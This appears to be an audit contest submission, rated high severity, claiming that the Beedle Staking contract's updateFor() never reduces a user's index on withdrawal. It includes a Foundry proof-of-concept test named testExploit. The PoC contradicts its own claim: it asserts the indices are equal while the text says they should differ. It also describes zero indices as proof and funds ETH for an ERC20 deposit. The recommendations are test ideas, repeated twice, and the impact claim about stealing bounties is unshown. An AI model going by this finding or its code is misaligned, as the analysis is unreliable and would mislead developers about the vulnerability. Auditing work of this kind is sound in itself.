Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high

the balance increases but never decreases.

0xbugalba

Summary

On the logic in updateFor():

  • Currently, it only considers the case where the balance increases but never decreases.

  • This breaks the proportionality in the index if a user withdraws tokens.

  • The logic should be updated to proportionally decrease the index when the balance decreases.

Vulnerability Details

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
​
import "forge-std/Test.sol";
import "../src/Staking.sol";
import {ERC20} from "lib/solady/src/tokens/ERC20.sol";
​
contract TERC20 is ERC20 {
​
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
​
contract ExploitUpdateForTest is Test {
Staking staking;
TERC20 loanToken;
TERC20 collateralToken;
address[] users;
​
function setUp() public {
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(this), 100000 * 10**18);
collateralToken.mint(address(this), 100000 * 10**18);
staking = new Staking(address(loanToken), address(collateralToken));
users.push(address(this));
}
​
function testExploit() public {
// Initial deposit
uint depositAmount = 10 ether;
deal(address(this), depositAmount);
loanToken.approve(address(staking), depositAmount);
staking.deposit(depositAmount);
​
// Advance time to update the index
vm.warp(100);
​
// Partial withdrawal
uint withdrawAmount = 5 ether;
staking.withdraw(withdrawAmount);
​
// Indices should be different
assertEq(staking.supplyIndex(address(this)), staking.index());
}
}

EXPLANATION POC:
The key steps validating the vulnerability are:

  • An initial deposit of 10 ETH is made.

  • Time is advanced to update the index.

  • A partial withdrawal of 5 ETH is made.

  • It is verified that the supplyIndex is 0.

  • Also, the global index is 0.

Therefore, both indices remain the same after the partial withdrawal when they should be different. This demonstrates that supplyIndex is not updated correctly, proving the vulnerability in updateFor().

Impact

The logic of updateFor() does not consider the case where the balance might decrease. If a user withdraws some tokens, the supply rate should decrease proportionally. Currently it only increases.

An attacker could exploit this by depositing a large amount, getting a high rate, then withdrawing tokens but keeping the rate artificially high. This would allow him to steal bounties.

Tools Used

manual review

Recommendations

Some improvements that could be made:

  • Calculate the expected index after withdrawal based on the new balance and compare it with the obtained index.

  • Test with different withdrawal amounts to validate in different scenarios.

Some improvements that could be made:

Calculate the expected index after withdrawal based on the new balance and compare it with the obtained index.
Test with different withdrawal amounts to validate in different scenarios.
But essentially, it demonstrates that the index is not updated properly when the balance decreases, which is precisely the issue reported in updateFor().

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.